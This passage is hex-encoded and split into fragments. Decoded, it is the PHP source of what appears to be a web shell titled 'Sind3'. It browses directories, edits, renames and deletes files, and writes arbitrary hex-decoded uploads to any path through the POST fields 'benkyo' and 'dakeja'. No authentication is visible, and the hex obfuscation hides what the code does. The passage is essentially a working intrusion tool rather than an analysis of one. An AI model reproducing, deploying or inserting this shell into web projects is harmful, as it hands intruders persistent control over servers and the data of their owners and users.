|64|202E20|444952|4543544F|52595F|53|455041|524154|4F5220|2E2024|656E74|72793B0A|2020|2020|2020|20|202020|2020|696620|28|69735F64|69|722824|706174|682929|207B|0A20|20|20|202020|202020|202020|20202020|246469|724C6973|745B|5D203D20|24656E|7472793B|0A|20202020|20202020|20202020|7D|20656C73|6520|7B0A2020|202020|20202020|20|20202020|2020|246669|6C654C69|73|74|5B|5D20|3D|20|24656E|747279|3B0A2020|20202020|20|20202020|207D0A|20202020|2020|20|20|7D0A2020|202020|20202066|6F|7265|616368|20|28246469|72|4C|69737420|61732024|656E7472|792920|7B|0A|20202020|20202020|202020|20247061|74|68203D|202464|202E2044|4952|4543544F|5259|5F53|4550|41|52|41|544F|52202E20|24656E74|72793B0A|202020|20202020|20202020|2065|63686F|20273C74|723E27|3B|0A20|20|2020|20|20|2020|20202020|6563686F|2027|3C|74|643E3C|612063|6C|61|73|733D22|616A61|7844|697222|20687265|663D223F|643D27|20|2E2068|6578|2824|706174|6829202E|2027|223E|27202E20|68746D6C|737065|636961|6C63|686172|732824|656E74|72792920|2E20273C|2F613E3C|2F|7464|3E27|3B0A20|2020|20202020|20|2020|202065|63686F|20|273C74|643E|2D|3C|2F74|64|3E273B|0A202020|202020|20202020|20|20656368|6F|20273C74|643E3C2F|74643E|273B0A20|20202020|2020|20|20202020|656368|6F|20273C2F|74723E27|3B0A20|202020|2020|20|207D0A|2020|2020|20|20202066|6F72|6561|6368|20|2824|66696C|65|4C697374|206173|202465|6E|7472|7929207B|0A202020|20|20|20202020|20|20|20247061|746820|3D2024|64202E20|4449|52454354|4F52595F|5345|5041|524154|4F|52|202E2024|656E74|72|793B0A|2020|2020|202020|20|202020|206563|686F20|273C7472|3E273B|0A202020|202020|20202020|2020|65|6368|6F20273C|74|643E|27202E20|68746D6C|737065|63|69616C63|68|61|7273|28|24|656E74|7279|29202E20|273C2F74|643E27|3B0A|20202020|2020|20|2020|202020|6563|686F2027|3C74643E|27|202E|202869|735F66|696C65|2824|70617468|2920|3F2066|696C65|7369|7A|65282470|617468|2920|2E|20272062|797465|732720|3A20272D|27|29|20|2E20273C|2F|74643E27|3B0A|20202020|202020|202020|20|20656368|6F|20273C|74643E27|3B|0A20|2020|20|2020|2020|2020|20|206563|686F2027|3C6120|636C|61|73733D22|616A61|7845|6469|74|2220|68726566|3D22|3F616374|69|6F6E3D65|646974|2664|3D27|202E2068|65782824|64|2920|2E202726|6669|6C653D27|202E|207572|6C656E63|6F|64|65|2824656E|74|72792920|2E20|27|223E45|646974|3C2F613E|207C2027|3B0A|202020|20|202020|20|20202020|65|63686F20|273C|612063|6C|61|73|733D22|616A61|78|5265|6E616D|652220|68726566|3D223F61|6374696F|6E3D72|65|6E616D|65|26643D27|20|2E|20|68|657828|24642920|2E202726|66|696C653D|27|202E20|75726C65|6E636F|64|6528|24|656E|74|7279|29202E|2027|223E5265|6E616D|653C|2F613E|20|7C|20273B|0A2020|20|20|2020|202020|20|2020|6563686F|2027|3C612063|6C617373|3D|22616A|61784465|6C657465|2220|6872|65663D22|3F616374|696F6E3D|64|656C|65|7465|26643D27|20|2E20|68657828|24|642920|2E|20|2726|66|696C653D|27|202E2075|726C656E|636F64|652824|65|6E747279|2920|2E202722|3E|44|656C|65|74|653C|2F613E|273B|0A20|20202020|20|20|202020|20206563|686F|2027|3C2F|74|64|3E273B0A|2020|20|20202020|20|20202020|6563686F|20|273C2F|74723E27|3B0A2020|20202020|20207D0A|20|2020|2020|2020|203F3E|0A|20202020|20202020|3C2F|74|626F6479|3E0A|20|20|20203C|2F74|61|626C|65|3E|0A2020|20203C|3F7068|700A2020|20|20657869|743B0A7D|0A|0A|69662028|69|73|73|6574|28|24|5F4745|545B27|616A61|78275D|292026|262024|5F474554|5B|27616A|6178|275D203D|3D3D2027|62|726561|6463|72|756D62|272920|7B0A2020|20|2024|6B20|3D|20|7072|65675F73|706C69|742822|2F285C|5C5C5C|7C|5C2F29|2F|222C20|2464|293B0A20|20202024|627265|61|646372|75|6D624874|6D6C|203D20|27|273B|0A202020|2066|6F72|6561|6368|20|28246B|2061|73|2024|6D|203D3E20|246C|29|20|7B0A20|202020|202020|20|6966|2028246C|20|3D|3D2027|27|202626|20|246D20|3D3D20|3029207B|0A20|20|20202020|2020|2020|2020|24627265|61646372|756D6248|746D6C|202E|3D2027|3C61|20|63|6C61|73733D22|61|6A782220|68726566|3D|223F643D|3266223E|2F3C2F|613E273B|0A2020|202020|2020207D|0A|20|20|20202020|20206966|2028246C|203D3D|202727|2920636F|6E7469|6E75|653B|0A|20|20|2020|20202020|24|62726561|64|63|72|75|6D62|4874|6D|6C202E3D|20|27|3C61|20|636C|617373|3D22|616A78|222068|72|65663D|223F64|3D|273B|0A20|20|20|20202020|20666F72|202824|6920|3D2030|3B2024|69203C|3D|2024|6D3B|2024|692B2B29|207B0A20|20|20|2020|202020|2020|20202462|7265|616463|72|756D6248|74|6D6C202E|3D206865|782824|6B5B24|695D29|3B0A2020|20202020|202020|20|20|20696620|28246920|213D2024|6D2920|24627265|61646372|75|6D|62|48746D|6C|202E3D|2027|326627|3B|0A|2020|2020|20202020|7D0A|202020|202020|202024|62|72656164|6372|756D6248|746D6C|202E3D|20|27|22|3E272E24|6C2E273C|2F613E|2F|273B0A20|2020207D|0A202020|2065|63|68|6F|20246272|6561|64637275|6D6248|746D|6C|3B|0A2020|2020|65786974|3B0A|7D0A0A|66756E|6374696F|6E2073|6166655F|7374|72|65616D5F|636F|7079|2824696E|2C|20246F75|74293A|2062|6F6F6C20|7B0A2020|20|2069|662028|5048505F|564552|53494F|4E5F49|44203C20|3830|30|30392920|7B0A2020|2020|20|202020|646F|207B0A20|2020|2020|202020|20202020|66|6F72|20|283B3B29|207B0A|202020|202020|20|202020|20202020|2020|24|62|75|6666|203D|20667265|616428|2469|6E|2C2034|303936|29|3B0A2020|202020|20202020|20202020|202020|69|66|20|282462|75|6666|203D3D3D|206661|6C73|6520|7C7C20|24627566|66|203D|3D|3D2027|2729|207B|0A|202020|20202020|20|20|20|2020|202020|20202020|20627265|616B3B|0A|20202020|20202020|20202020|20|202020|7D0A|202020|2020|20|202020|20202020|20|20206966|202866|777269|74|6528|246F|7574|2C20|24627566|6629|203D3D|3D206661|6C736529|207B0A20|2020|202020|20202020|20202020|2020|2020|20207265|7475726E|20|66|616C7365|3B0A20|202020|2020|2020|20|20|20202020|20|207D0A|202020|20202020|20|20202020|7D0A20|20202020|20|20|20|7D2077|6869|6C65|20|2821|66|656F6628|24|696E29|293B0A20|20202020|20202072|657475|72|6E20|7472|75653B|0A20|20|20|207D20|656C7365|207B|0A|2020|20|202020|20207265|747572|6E2073|747265|61|6D|5F63|6F70795F|746F5F|73|74|726561|6D2824|696E|2C|20|246F75|74292021|3D3D20|66|616C|7365|3B0A20|20|20207D|0A7D|0A|0A|69662028|69|73|73657428|245F504F|5354|5B2762|656E6B|79|6F27|5D292026|2620|69737365|742824|5F|504F53|545B27|6461|6B|656A61|275D29|29207B0A|202020|2024|66696C65|4E|616D6520|3D|20245F|504F|53|545B2762|65|6E6B|796F|275D3B0A|20202020|24656E|63|6F64|65|64436F6E|74|656E74|203D20|24|5F|504F53|545B2764|616B|656A61|275D3B|0A202020|20246465|636F6465|64436F6E|74656E|7420|3D20|68657832|62696E|2824656E|636F|646564|436F6E|74|656E7429|3B0A0A20|2020|20696620|282464|65636F64|65|64436F|6E|7465|6E74|20|3D3D|3D2066|616C7365|2920|7B0A20|20|20202020|20206966|202824|697341|6A617829|20|7B0A|20202020|20|2020|20202020|20|68656164|6572|28|27436F6E|74|656E74|2D54|7970653A|20|6170706C|696361|74|69|6F|6E2F|6A736F|6E27|293B0A|20|20202020|20|2020|202020|206563|686F|20|6A73|6F6E5F|65|6E|636F64|65285B27|737461|747573|27|203D3E|202766|6169|6C6564|272C2027|6D7367|27203D3E|2027496E|76616C69|64|20426173|653634|20656E|636F64|696E|67|275D|293B|0A20|20|20202020|20|207D|2065|6C|7365207B|0A2020|20|20202020|2020|20|202073|657446|6C61|7368|28|27666169|6C|656427|2C2027|496E76|616C|69642042|6173|65|3634|20656E63|6F|64|696E|67|2729|3B|0A|2020|20|2020|20|2020|20|20|202068|656164|657228|224C|6F636174|696F6E|3A203F|643D22|202E20|686578|28|24|642929|3B0A2020|202020|2020|20|7D|0A|2020|20|20|2020|20|2065|78|6974|3B0A|20|20|20|207D0A|0A20|202020|2474656D|705374|726561|6D203D20|666F70|656E28|277068|703A|2F|2F|7465|6D70272C|202772|2B2729|3B0A20|2020|2066|77|726974|652824|7465|6D7053|7472|6561|6D|2C20|24|6465|636F64|6564|436F6E|74656E74|293B0A20|202020|72657769|6E6428|2474|656D|705374|7265|616D293B|0A0A2020|20|20|2474|617267|65745061|7468203D|2024|64202E20|44495245|43544F52|595F5345|50415241|54|4F52|202E|2062|6173|656E616D|65282466|696C|654E|616D|65|29|3B0A20|202020|246F|75|745374|7265616D|203D|20666F70|656E|28247461|72|676574|5061|74682C20|277762|27293B|0A|0A20|2020|202473|75636365|73|73203D20|24|74656D|705374|7265616D|2026|262024|6F7574|53|747265|61|6D|20262620|73|616665|5F737472|6561|6D5F|636F70|79282474|656D70|537472|6561|6D2C2024|6F75|74537472|65616D29|3B0A|0A2020|202069|6620|28246F75|7453|74726561|6D29|2066|636C6F73|6528|246F7574|537472|65616D29|3B0A|20|202020|696620|282474|656D7053|747265|61|6D292066|636C6F73|65|28247465|6D7053|747265|616D|293B|0A0A|20202020|69662028|24|7375|636365|73732920|7B0A2020|2020|2020|20206966|20|282469|7341|6A61|7829|207B|0A2020|202020|2020|20202020|206865|616465|72282743|6F6E7465|6E742D54|7970|653A|206170|706C6963|61|74|696F6E2F|6A736F6E|27|293B0A20|202020|2020|20202020|20|20|656368|6F206A73|6F6E5F|656E|636F6465|28|5B|27737461|7475|732720|3D3E20|27737563|6365|737327|2C2027|6D736727|20|3D3E|202746|696C65|2075706C|6F61|64|6564|20737563|636573|736675|6C6C79|275D293B|0A202020|202020|20|20|7D20656C|7365|207B|0A202020|20|2020|2020|2020|20207365|7446|6C|6173|68282773|7563|636573|7327|2C20|2746|696C6520|75706C|6F616465|6420|7375|63636573|73|66756C6C|792729|3B0A20|202020|20202020|2020|202068|656164|6572|28224C|6F|6361|74696F|6E|3A20|3F|643D22|202E20|68657828|2464|29293B0A|20|20202020|20|20207D|0A|20202020|7D2065|6C7365|207B0A|20202020|202020|206966|20|28|2469|73|416A|617829|20|7B|0A20|202020|20202020|2020|20206865|61646572|2827436F|6E7465|6E742D54|797065|3A206170|706C|69636174|696F|6E2F6A|73|6F6E|27293B|0A2020|2020|2020|202020|2020|206563|686F206A|736F|6E|5F656E|636F|6465285B|27|73|7461|7475|732720|3D|3E|202766|61696C65|6427|2C2027|6D7367|27203D|3E202746|69|6C652075|706C|6F6164|20|66|6169|6C656427|5D|293B0A|20202020|20|202020|7D2065|6C73|6520|7B0A2020|20|20|20202020|20|20202073|65|74|46|6C617368|282766|61696C|656427|2C20|27|46|69|6C65|2075|706C6F|6164|206661|696C|65|6427|29|3B0A20|202020|2020|20202020|20206865|61|646572|28224C|6F636174|69|6F6E3A|203F64|3D22|202E2068|65|782824|6429293B|0A2020|2020|2020|20|20|202020|206578|69743B0A|20202020|2020|2020|7D0A|20|20|20207D0A|20202020|65786974|3B|0A7D|0A|696620|2869|73|73657428|245F47|45|545B|2761|637469|6F6E27|5D2920|26262069|6E5F6172|7261|79|28245F|4745545B|27616374|69|6F6E|275D2C|20|5B|27|6465|6C6574|6527|2C|202772|656E616D|6527|2C202765|6469|74|27|5D29|20262620|6973|73657428|245F47|45545B|276669|6C65|27|5D|292920|7B0A|2020|2020|69|662028|245F47|45|54|5B2761|6374696F|6E275D|203D3D3D|202764|656C6574|65|272920|7B0A|20202020|2020|202024|66696C65|4E616D65|20|3D20|245F4745|545B2766|696C65|275D3B|0A|20|2020|20202020|202466|696C6550|61|7468|20|3D|20726561|6C7061|746828|2464202E|20|44|495245|43544F52|595F5345|50415241|544F52|202E2024|66|696C|654E|616D|65293B|0A|202020|2020|202020|6966|20282124|66|696C6550|617468|207C7C20|2169|735F|66696C|65282466|696C6550|61746829|29|207B0A20|20202020|202020|20202020|2472|6573706F|6E73|6520|3D|205B|277374|6174|757327|3D3E|27|666169|6C6564|272C|276D7367|27|3D3E|27|46|69|6C65|206E6F74|2066|6F75|6E64|20|6F7220|61|63|636573|73|2064|656E6965|6427|5D3B0A20|20|202020|2020|20|7D2065|6C7365|207B|0A|20|20|20202020|20202020|202024|72|6573756C|74|203D2075|6E6C69|6E6B28|2466696C|6550|617468|293B0A|20|2020|202020|20202020|2020|2472|6573706F|6E|7365|203D20|2472|6573756C|74200A20|20202020|20|20202020|202020|2020|203F205B|27|73|746174|75|73273D3E|277375|63|63|6573|7327|2C|276D73|67273D3E|274669|6C65|20|64656C65|7465|64|207375|6363|6573|7366|756C6C79|275D20|0A|2020|2020|20202020|20202020|202020|203A205B|277374|6174|75|73|27|3D3E|2766|61|696C65|64272C27|6D736727|3D3E27|46696C|65206465|6C6574|696F|6E20|6661696C|6564275D|3B0A20|2020|202020|20|207D|0A2020|2020|202020|206865|616465|72|2827|436F|6E7465|6E742D|54797065|3A20|617070|6C696361|74|696F6E|2F6A|73|6F6E27|293B0A20|2020|20|2020|20206563|68|6F20|6A|736F|6E|5F65|6E|636F|64652824|72|6573|706F6E73|65293B|0A|20202020|202020|20|65786974|3B20|0A|20202020|7D20|656C|73656966|2028245F|47|45545B27|6163|74696F6E|275D|20|3D|3D|3D2027|72|656E|616D|652729|207B|0A2020|2020|2020|20206966|2028245F|53455256|45|52|5B275245|51|5545|5354|5F4D|455448|4F44275D|203D3D3D|20|2750|4F|535427|20|262620|697373|657428|24|5F504F53|545B|276E6577|5F6E|616D6527|5D2929|207B0A20|20202020|202020|202020|20246F6C|6446696C|65203D|207265|616C70|617468|282464|20|2E20|44495245|43|54|4F52|595F|53|45504152|41544F|52202E|20245F|4745|545B2766|696C65|275D293B|0A202020|202020|20|202020|202024|6E6577|4669|6C|6520|3D|2024|64202E20|4449|52454354|4F52|595F53|4550|4152|41544F52|202E|20245F50|4F|53|545B276E|65775F|6E61|6D|6527|5D3B|0A2020|202020|2020|20|20202020|69|662028|246F6C|6446696C|65|20|26262069|735F66|696C6528|24|6F6C64|46696C|65|29|2920|7B0A|20|202020|20202020|2020|2020|202020|202472|657375|6C|74|20|3D207265|6E616D|65|2824|6F|6C644669|6C652C|20246E|65|7746|696C65|293B0A|2020|202020|2020|20|2020|2020|20202020|247265|7370|6F6E7365|203D|20|247265|7375|6C|74|200A|2020|20202020|20202020|20|202020|2020|2020|20203F20|5B277374|6174|757327|3D3E2773|75636365|737327|2C276D73|6727|3D3E|2746696C|6520|72656E61|6D656420|7375|6363|6573|7366|756C6C79|275D20|0A202020|20|2020|20|20|20202020|20202020|20202020|3A205B|27|737461|74|757327|3D3E27|6661696C|6564272C|276D73|67273D3E|27|4669|6C|65|207265|6E616D|696E6720|6661|696C6564|275D3B|0A202020|20|202020|2020|2020|20|20|20|2020|6865|61|64657228|27436F6E|7465|6E742D54|7970653A|2061|7070|6C6963|6174|696F6E2F|6A736F6E|2729|3B0A|20|202020|20202020|20202020|2020|20206563|686F206A|736F6E|5F|656E636F|64652824|72657370|6F6E73|6529|3B0A20|202020|2020|20202020|20|20202020|20657869|74|3B0A|20|202020|20202020|20202020|7D|2065|6C73|65207B|0A|20202020|20|20|202020|2020|20202020|20686561|646572|2827|436F|6E74|656E74|2D547970|653A2061|70|70|6C|69|636174|696F6E2F|6A736F|6E2729|3B|0A|2020|202020|202020|20|20|20|2020|202020|6563686F|206A|73|6F6E5F|656E63|6F6465|285B27|7374|6174|757327|3D3E27|66|61696C|65|6427|2C276D|73|67|273D|3E|27|46|69|6C|65|206E|6F74|20|666F756E|6427|5D|293B0A|202020|2020|202020|20202020|20|20202065|7869743B|0A20|20202020|202020|20|2020207D|0A20|202020|20|2020|207D20|656C7365|696620|2824|6973|41|6A617829|20|7B0A20|2020|202020|202020|20202065|63686F|20273C|68|323E52|656E|616D6520|46696C65|3A2027|20|2E|20|68746D|6C7370|65|63|69616C63|686172|7328245F|474554|5B276669|6C65|27|5D2920|2E20273C|2F|68323E|273B0A|20202020|202020|20|20202020|65|63|686F20|273C6469|7620636C|617373|3D22|746572|6D696E|616C2D62|6F78|223E|273B|0A2020|202020|202020|20202020|6563|68|6F|20273C|666F|72|6D|2063|6C|6173733D|22616A|6178466F|72|6D2220|6D|6574686F|643D|22504F|53|5422|20616374|696F6E3D|22|3F616374|69|6F6E3D|72|65|6E|616D|65|26|643D27|20|2E|20|686578|2824|6429202E|2027|266669|6C653D27|20|2E20|75726C65|6E|636F|646528|245F47|45545B27|66|696C65|275D29|202E2027|22|3E273B0A|202020|2020|202020|2020|20|206563|686F2027|3C|696E|70757420|74797065|3D227465|787422|206E|61|6D653D|226E|65|775F6E61|6D|6522|20706C|61|63|65686F|6C6465|72|3D22|4E65|77206669|6C65206E|616D65|22207265|71|756972|65|643E3C|62|723E|273B0A|20202020|20|2020|2020|20202065|6368|6F20273C|62723E3C|69|6E70|7574|2074|7970653D|22737562|6D69|74|222076|61|6C75|653D22|52656E|616D|6522|3E2027|3B0A2020|20202020|20|202020|202065|63|686F|20|273C|62757474|6F6E2074|7970653D|2262|7574|746F|6E|22|206964|3D|226361|6E|63656C41|6374|696F6E|22|3E43|616E|6365|6C3C2F62|75|74|746F|6E|3E273B0A|2020|20202020|202020|20|20|20|6563686F|20|27|3C2F66|6F72|6D|3E27|3B0A|2020|20202020|20202020|20|2065|63|686F20|273C2F|6469|76|3E3C68|723E273B|0A2020|202020|20202020|20|20|20|65|7869743B|0A|2020|20202020|20207D|0A20|2020|207D|2065|6C|736569|66|202824|5F|4745|545B27|61637469|6F6E|275D20|3D3D3D20|2765|6469|7427|29|207B|0A2020|202020|20|2020|696620|2824|5F534552|5645|525B|27524551|55455354|5F4D4554|484F|44275D|203D|3D|3D|2027504F|535427|20|26262069|73736574|28245F|50|4F|53|545B|27636F|6E74656E|74|275D29|29207B0A|20|2020|202020|20202020|20202466|696C|65|5061|746820|3D207265|616C70|61746828|246420|2E20|44495245|43|544F5259|5F|53|45|5041|524154|4F5220|2E20|24|5F47|45|545B2766|69|6C65|275D293B|0A2020|20202020|20|2020|20|2020|6966|20282466|696C|6550|61|7468|202626|2069|73|5F6669|6C6528|24|66|696C6550|617468|2929|207B0A|20202020|20202020|20202020|20202020|2466|70203D|20|66|6F70656E|282466|696C|65506174|682C20|227722|293B0A|2020|2020|2020|2020|20202020|202020|20|69|66|20282466|702920|7B0A|202020|2020|20202020|2020|2020|202020|20|202020|2462|79|74657357|7269|74|74656E|20|3D20|667772|69746528|2466|702C2073|74|72697073|6C617368|65732824|5F50|4F5354|5B27636F|6E74656E|74275D|29293B|0A2020|202020|202020|20202020|202020|20202020|2066|636C6F|736528|246670|293B0A20|20|202020|202020|20|2020|20202020|20|2020|20202472|6573706F|6E|7365203D|202824|62797465|73|57|726974|7465|6E|2021|3D3D2066|616C7365|290A|20202020|20202020|202020|20202020|202020|20|20202020|203F205B|2773|74617475|7327203D|3E2027|73756363|657373|272C|20|276D73|67|27|203D3E20|2746|696C|6520|6564|697465|642073|756363|65|73736675|6C|6C|79275D0A|2020|202020|20202020|2020|2020|20|20202020|2020|20202020|3A205B27|737461|7475|73|27203D3E|202766|61696C65|64|272C2027|6D|7367|27|203D|3E20|274669|6C6520|65646974|696E6720|666169|6C|6564275D|3B|0A202020|202020|202020|202020|20|20|20207D|2065|6C736520|7B|0A|202020|202020|20|202020|20|20|20202020|202020|202472|6573706F|6E|736520|3D|205B|277374|6174|75732720|3D3E2027|6661696C|65|64272C20|27|6D736727|203D3E|202746|696C|65|206F|70|656E696E|67206661|696C65|6427|5D|3B0A20|202020|202020|202020|20202020|20207D0A|20202020|20202020|20|20202020|2020|206865|61646572|28|2743|6F|6E|74|656E74|2D|54|7970653A|20617070|6C|69|63|61|74|696F6E|2F6A736F|6E|2729|3B|0A202020|2020|20|202020|20202020|20|20|20656368|6F206A73|6F6E|5F|65|6E636F|646528|24|7265|7370|6F6E73|6529|3B0A2020|202020|20202020|202020|2020|2020|65786974|3B0A|20202020|20202020|20202020|7D20656C|7365207B|0A20|20202020|202020|20|2020|20202020|20686561|64|6572|282743|6F|6E74656E|742D5479|70|653A2061|7070|6C|69|636174|69|6F6E2F6A|736F6E27|293B0A|20202020|202020|2020|2020|2020|20|20|20656368|6F206A|736F6E5F|656E|636F64|6528|5B277374|617475|732720|3D|3E2027|6661696C|6564|272C20|276D|73|6727203D|3E202746|69|6C65|20|6E6F74|20666F75|6E64275D|293B|0A|202020|20202020|20|20|202020|20|20202065|78|69743B0A|20|2020|20202020|2020|2020|207D20|2020|20|2020|20200A|202020|20202020|20|7D|2065|6C73|656966|202824|69|7341|6A61|7829207B|0A20|20202020|202020|20202020|2466|696C|655061|7468|20|3D|207265|616C7061|74|68|28|24|64|20|2E2044|4952|454354|4F52595F|534550|4152|4154|4F52202E|2024|5F4745|545B|27|66696C|6527|5D293B0A|202020|20|20202020|2020|2020|6966|20|282466|696C|65|5061|746820|2626|20|69735F|66696C|6528|2466|696C6550|6174|68292920|7B0A|20|20|2020|202020|202020|202020|202020|2463|6F6E7465|6E74|203D2066|69|6C65|5F67|65|745F63|6F6E7465|6E747328|2466696C|65506174|6829|3B0A20|202020|2020|2020|2020|20202020|20|2065|63686F|2027|3C6832|3E456469|74|2046696C|65|3A2027|20|2E20|68|746D6C|7370|656369|616C63|68|61727328|24|5F|47|45545B27|66696C65|275D|29|202E|20|273C2F|68323E27|3B0A2020|20202020|20|2020|2020|202020|20|20|656368|6F2027|3C646976|20636C|61|7373|3D22|74|65726D69|6E616C|2D|62|6F7822|3E273B|0A202020|202020|20202020|20|2020|202020|6563|686F|20273C66|6F72|6D2063|6C61|73733D|2261|6A|617846|6F726D22|20|6D657468|6F643D22|504F53|542220|6163|74696F6E|3D22|3F616374|696F6E|3D65|64697426|643D27|202E2068|6578|28|246429|202E|202726|66|696C|653D2720|2E20|75726C|656E63|6F6465|28245F47|45|54|5B27|66696C|65|27|5D29202E|20|27|223E273B|0A202020|20|20|20202020|20202020|202020|6563|686F20|273C74|6578|746172|65|6120|6E616D65|3D22|636F6E74|656E74|22|20726F|77733D|2231|30222063|6F|6C73|3D2235|3022|20726571|75697265|643E2720|2E|2068746D|6C73|70656369|616C|6368|6172|732824|636F6E74|656E|742920|2E20273C|2F74|6578|74617265|613E3C|62723E|27|3B0A20|2020|2020|2020|20|20|20|20202020|2020|6563686F|20|273C6272|3E3C696E|707574|2074|797065|3D|22|7375626D|69742220|76616C75|65|3D22|53|61|76|65|223E20|27|3B0A|202020|20|20202020|2020|20202020|2020|65|6368|6F20|273C|62757474|6F|6E207479|70|653D2262|7574|74|6F6E2220|6964|3D|2263616E|63|656C41|63|7469|6F|6E|22|3E4361|6E63|65|6C3C2F|627574|746F6E3E|273B|0A202020|202020|2020|20|202020|2020|202065|63686F|20273C2F|66|6F726D3E|273B0A|202020|20|20|202020|20202020|2020|20|2065|63686F|20273C2F|6469|763E3C68|723E27|3B0A2020|20202020|2020|20|2020|207D|0A2020|2020|20202020|202020|20657869|743B0A|20|20202020|20|2020|7D0A|20202020|7D0A|7D0A|3F3E0A3C|21444F43|5459|504520|68|746D6C3E|0A3C68|746D6C|3E0A3C|6865|61643E|0A202020|20|3C6D|65|74|612063|686172|7365|743D22|5554462D|38223E|0A2020|2020|3C|7469|746C65|3E5369|6E|64333C2F|746974|6C653E|0A|20202020|3C|212D2D|204C6F61|64|20556275|6E|7475204D|6F6E6F|2066726F|6D20476F|6F|67|6C6520|466F6E74|7320|2D2D3E0A|20202020|3C6C696E|6B|20687265|663D2268|7474|70733A2F|2F666F|6E7473|2E676F|6F67|6C6561|70|6973|2E|636F6D|2F63|737332|3F6661|6D|69|6C793D55|62756E74|752B4D6F|6E6F|2664|6973|706C|61|79|3D73|776170|22|207265|6C3D22|7374|796C65|7368|65|6574|223E0A20|202020|3C737479|6C65|3E|0A202020|2020|2020|202A207B|2062|6F78|2D73697A|696E67|3A|20626F72|6465|722D626F|783B207D|0A2020|2020|2020|202062|6F6479|207B0A|202020|2020|20202020|2020|20626163|6B67|72|6F756E|642D63|6F6C|6F|723A2072|67626128|33372C20|33372C|2033372C|20302E38|293B20|2F2A|20477261|79207769|7468|20736C|69676874|207472|616E|73|70|6172656E|6379|202A2F0A|2020|20202020|20202020|20|20636F|6C|6F723A20|23|666666|3B|0A20|202020|20202020|202020|2066|6F6E742D|66616D69|6C|793A|2027|55|62756E|7475204D|6F6E|6F272C20|6D6F|6E6F|73|70616365|3B0A2020|202020|202020|2020|20206D|61|7267696E|3A20303B|0A202020|20202020|202020|2020|7061|6464696E|673A2030|3B0A|202020|202020|20207D0A|2020|2020|20|20|20|202E|636F6E|746169|6E6572|207B0A|2020|2020|20|202020|20202020|77696474|683A20|3630253B|0A2020|202020|20202020|202020|6D6172|67696E3A|20353070|782061|75|74|6F3B0A20|20202020|20|2020|20202020|706164|64696E|673A2032|307078|3B0A|2020|2020|20202020|20|20|202062|61|63|6B67|72|6F756E64|2D636F6C|6F723A20|233232|32|3B0A20|2020|2020|20202020|2020|20626F|72646572|2D|72616469|75733A20|387078|3B0A20|20202020|2020|207D0A|202020|20202020|202E|6675|74657220|7B|0A2020|20|20202020|202020|20207769|647468|3A|20|36|30|253B|0A|2020|202020|202020|2020|20206D61|7267|696E|3A|20353070|78|20|6175|746F|3B0A20|20202020|2020|20|20202020|7061|64|64696E|673A|203230|70783B|0A20|20|2020|20202020|20202020|6261636B|67726F75|6E64|2D636F6C|6F723A20|23|3232323B|0A20|20|2020|2020|20|2020|20202062|6F72|646572|2D|726164|69|75|73|3A2038|70783B|0A2020|2020|2020|20207D|0A2020|20202020|2020|2E62|726561|64|63|72|756D6273|207B20|6D61|7267696E|2D|626F|74746F6D|3A|203135|70783B20|7D|0A20|20202020|20|20206120|7B20|636F6C6F|723A2023|3066|303B20|74657874|2D646563|6F72|617469|6F|6E|3A206E6F|6E653B|20|7D0A|20|202020|20|202020|613A|686F76|65|72|207B2074|6578742D|6465636F|726174|69|6F6E3A20|756E|6465726C|696E65|3B20|7D|0A202020|2020|2020|20746162|6C6520|7B207769|64|7468|3A|203130|3025|3B20626F|726465|72|2D636F6C|6C|6170|73|653A20|636F6C6C|61707365|3B206D|61|726769|6E2D|746F|70|3A203230|70|78|3B20|7D0A2020|20|20202020|2074682C|207464|207B2062|6F72|64|65723A20|3170|7820736F|6C|6964|2023|353535|3B|20706164|64696E67|3A|20387078|3B2074|6578|742D|61|6C6967|6E3A|206C|656674|3B|207D0A|20202020|202020|20|7468|207B2062|6163|6B|67726F75|6E64|2D636F6C|6F723A20|23333333|3B207D|0A|20202020|20|2020|20|69|6E70|75|745B74|7970653D|227465|7874225D|2C|20|746578|74|61726561|20|7B0A20|20202020|202020|2020|2020|77696474|683A2031|30|30253B0A|20202020|2020|20202020|20207061|6464|69|6E673A20|3870|783B0A20|20202020|2020|20|202020|20|6D617267|69|6E3A20|303B|0A|20|2020|202020|20202020|20|2062|6F7264|6572|3A2031|707820|73|6F|6C696420|23333333|3B0A|2020|2020|20202020|2020|2020|626F72|646572|2D72|616469|75733A|20|34|7078|3B0A|2020|20202020|202020|20|2020666F|6E74|2D6661|6D696C|793A20|275562|756E|7475|204D6F|6E6F27|2C|206D|6F|6E6F7370|616365|3B0A20|20|2020|2020|2020|7D0A|2020|2020|2020|2020696E|7075745B|74|7970653D|2273|7562|6D697422|5D2C|206275|7474|6F6E|207B|0A|20202020|20202020|202020|20626F|726465|723A|20317078|20736F|6C6964|202366|66663B|0A2020|202020|2020|20202020|20706164|64|696E673A|20|3470783B|0A20|20|20|2020|20|20|20|20|2020|20|6261|63|6B6772|6F756E64|2D636F|6C|6F72|3A|202333|33333B0A|20|20202020|2020|2020|202020|636F6C|6F723A|202366|66663B0A|20|202020|20|2020|202020|202063|7572|73|6F|72|3A20|706F69|6E74|65723B|0A2020|20202020|20202020|20|20|626F72|6465|722D7261|6469|75733A20|3470783B|0A|20202020|2020|20|207D0A20|20202020|202020|666F72|6D20|7B|206D61|726769|6E2D|62|6F7474|6F6D|3A2032|3070|78|3B|207D0A20|202020|2020|20202E74|65726D69|6E61|6C2D|626F|78207B|0A|20202020|20202020|20|20202062|61636B67|726F|756E64|2D63|6F|6C6F72|3A|20233232|323B0A|202020|202020|2020|20|202020|636F|6C|6F723A|2023|306630|3B|0A2020|20202020|2020|202020|20|70|61|646469|6E|673A|20|31|3570783B|0A|20202020|20202020|2020|2020|626F7264|65723A20|317078|20736F|6C6964|20|23|3333333B|0A|20|20|2020|20202020|20202020|62|6F72|6465|72|2D7261|64|697573|3A203470|783B0A20|20|2020|20202020|202020|20|6D|617267|696E2D|626F7474|6F6D|3A20|323070|783B0A|202020|20202020|207D0A|202020|20202020|202E7465|726D|696E|61|6C|2D626F78|20696E|70|75745B|74|797065|3D2274|65787422|5D2C0A|20|20202020|20|20202E|74|6572|6D|696E|616C|2D62|6F782074|65|787461|72656120|7B0A2020|20202020|20202020|20|20|62|61636B67|726F756E|642D636F|6C|6F723A20|23|3232323B|0A202020|202020|20202020|202063|6F6C6F72|3A202330|66303B|0A202020|20202020|202020|20|20|626F7264|65723A|20317078|2073|6F6C69|64202333|33333B0A|20202020|2020|20|207D|0A2020|20202020|20202E|6E6F7469|66696361|74696F6E|207B|0A2020|202020|20|20202020|202070|6F7369|7469|6F6E|3A|20|66|69786564|3B|0A|20202020|202020|20202020|20626F74|746F6D|3A2032|307078|3B|0A|202020|20|20|202020|2020|20206C65|6674|3A2032|30|